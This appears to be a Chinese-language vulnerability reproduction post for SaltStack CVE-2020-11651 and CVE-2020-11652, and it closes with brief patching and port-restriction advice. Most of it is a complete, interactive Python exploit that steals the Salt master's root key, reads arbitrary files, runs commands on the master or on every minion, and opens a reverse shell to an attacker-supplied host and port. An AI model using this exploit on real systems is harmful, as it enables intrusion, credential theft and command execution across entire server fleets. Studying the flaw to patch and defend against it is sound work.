漏洞描述:
基于Python开发的一套C/S架构配置管理工具,通过部署SaltStack,可以在成千万台服务器上做到批量执行命令,根据不同业务进行配置集中化管理、分发文件、采集服务器数据、操作系统基础及软件包管理等,简单来说就是可以集中管理各种各样的服务器,但在 SaltStack < 2019.2.4,SaltStack < 3000.2版本中出现了认证绕过漏洞CVE-2020-11651,通过构造恶意请求,可以绕过 Salt Master 的验证逻辑,调用相关未授权函数功能,从而可以造成远程任意命令执行。在CVE-2020-11652目录遍历漏洞中,攻击者通过构造恶意请求,读取服务器上任意文件。
复现过程:
1.安装salt库
pip3 install salt
2.利用poc
3.反弹shell
3.1本地监听
3.2设置ip和port
3.3成功监听
Poc
#coding=gbk
# BASE https://github.com/bravery9/SaltStack-Exp
# 微信公众号:台下言书
# -*- coding:utf-8 -*- -
from __future__ import absolute_import, print_function, unicode_literals
import argparse
import os
import sys
import datetime
import salt
import salt.version
import salt.transport.client
import salt.exceptions
DEBUG = False
def init_minion(master_ip, master_port):
minion_config = {
'transport': 'zeromq',
'pki_dir': '/tmp',
'id': 'root',
'log_level': 'debug',
'master_ip': master_ip,
'master_port': master_port,
'auth_timeout': 5,
'auth_tries': 1,
'master_uri': 'tcp://{0}:{1}'.format(master_ip, master_port)
}
return salt.transport.client.ReqChannel.factory(minion_config, crypt='clear')
def check_salt_version():
print("[+] Salt 版本: {}".format(salt.version.__version__))
vi = salt.version.__version_info__
if (vi < (2019, 2, 4) or (3000,) <= vi < (3000, 2)):
return True
else:
return False
def check_connection(master_ip, master_port, channel):
print("[+] Checking salt-master ({}:{}) status... ".format(master_ip, master_port), end='')
sys.stdout.flush()
try:
channel.send({'cmd': 'ping'}, timeout=2)
print('\033[1;32m可以连接\033[0m')
except salt.exceptions.SaltReqTimeoutError:
print("\033[1;31m无法连接\033[0m")
sys.exit(1)
def check_CVE_2020_11651(channel):
sys.stdout.flush()
# try to evil
try:
rets = channel.send({'cmd': '_prep_auth_info'}, timeout=3)
except salt.exceptions.SaltReqTimeoutError:
print("\033[1;32m不存在漏洞\033[0m")
except:
print("\033[1;32m未知错误\033[0m")
raise
else:
pass
finally:
if rets:
root_key = rets[2]['root']
print("\033[1;31m存在漏洞\033[0m")
return root_key
return None
def pwn_read_file(channel, root_key, path, master_ip):
# print("[+] Attemping to read {} from {}".format(path, master_ip))
sys.stdout.flush()
msg = {
'key': root_key,
'cmd': 'wheel',
'fun': 'file_roots.read',
'path': path,
'saltenv': 'base',
}
rets = channel.send(msg, timeout=3)
print(rets['data']['return'][0][path])
def pwn_getshell(channel, root_key, LHOST, LPORT):
msg = {"key": root_key,
"cmd": "runner",
'fun': 'salt.cmd',
"kwarg": {
"fun": "cmd.exec_code",
"lang": "python3",
"code": "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{}\",{}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);".format(
LHOST, LPORT)
},
'jid': '20200504042611133934',
'user': 'sudo_user',
'_stamp': '2020-05-04T04:26:13.609688'}
try:
response = channel.send(msg, timeout=3)
print("Got response for attempting master shell: " + str(response) + ". Looks promising!")
return True
except:
print("something failed")
return False
def pwn_exec(channel, root_key, exec_cmd, master_or_minions):
if master_or_minions == "master":
msg = {"key": root_key,
"cmd": "runner",
'fun': 'salt.cmd',
"kwarg": {
"fun": "cmd.exec_code",
"lang": "python3",
"code": "import subprocess;subprocess.call('{}',shell=True)".format(exec_cmd)
},
'jid': '20200504042611133934',
'user': 'sudo_user',
'_stamp': '2020-05-04T04:26:13.609688'}
try:
response = channel.send(msg, timeout=3)
print("Got response for attempting master shell: " + str(response) + ". Looks promising!")
return True
except:
print("something failed")
return False
if master_or_minions == "minions":
print("Sending command to all minions on master")
jid = "{0:%Y%m%d%H%M%S%f}".format(datetime.datetime.utcnow())
cmd = "/bin/sh -c '{0}'".format(exec_cmd)
msg = {'cmd': "_send_pub", "fun": "cmd.run", "arg": [cmd], "tgt": "*", "ret": "", "tgt_type": "glob",
"user": "root", "jid": jid}
try:
response = channel.send(msg, timeout=3)
if response == None:
return True
else:
return False
except:
return False
#####################################
master_ip=input('目标IP:')
master_port='4506'
channel = init_minion(master_ip, master_port)
try:
root_key = check_CVE_2020_11651(channel)
except:
pass
while master_ip!='':
print('1.测试POC 2.读取文件 3.执行命令(无回显) 4.反弹shell 5.退出')
whattype=input('请选择:')
if whattype=='1':
check_salt_version() # 检查salt版本
check_connection(master_ip, master_port, channel) # 检查连接
root_key = check_CVE_2020_11651(channel) # 读取root key
print(root_key)
elif whattype=='2':
path = input('读取路径:')
try:
pwn_read_file(channel, root_key, path, master_ip) # 读取文件
except:
print('文件不存在')
elif whattype=='3':
print('1.master 2.minions')
exectype = input('选择方式:')
if exectype=='1':
master_or_minions='master'
elif exectype=='2':
master_or_minions = 'minions'
exec_cmd = input('输入命令:')
pwn_exec(channel, root_key, exec_cmd, master_or_minions) # 执行命令
elif whattype=='4':
LHOST = input('反弹到IP:')
LPORT = input('反弹端口:')
pwn_getshell(channel, root_key, LHOST, LPORT) # 反弹shell
elif whattype=='5':
exit()
修复建议:
1.SaltStack官方已发布最新版本修复此漏洞,相关用户及时更新至安全版本及其以上,升级前做好快照备份。
2.开启SaltStack自动更新,实时获取补丁或升级至安全版本。
3.禁止将Salt Master默认监听端口(4505、4506)向公网开放,设置为仅对可信对象开放。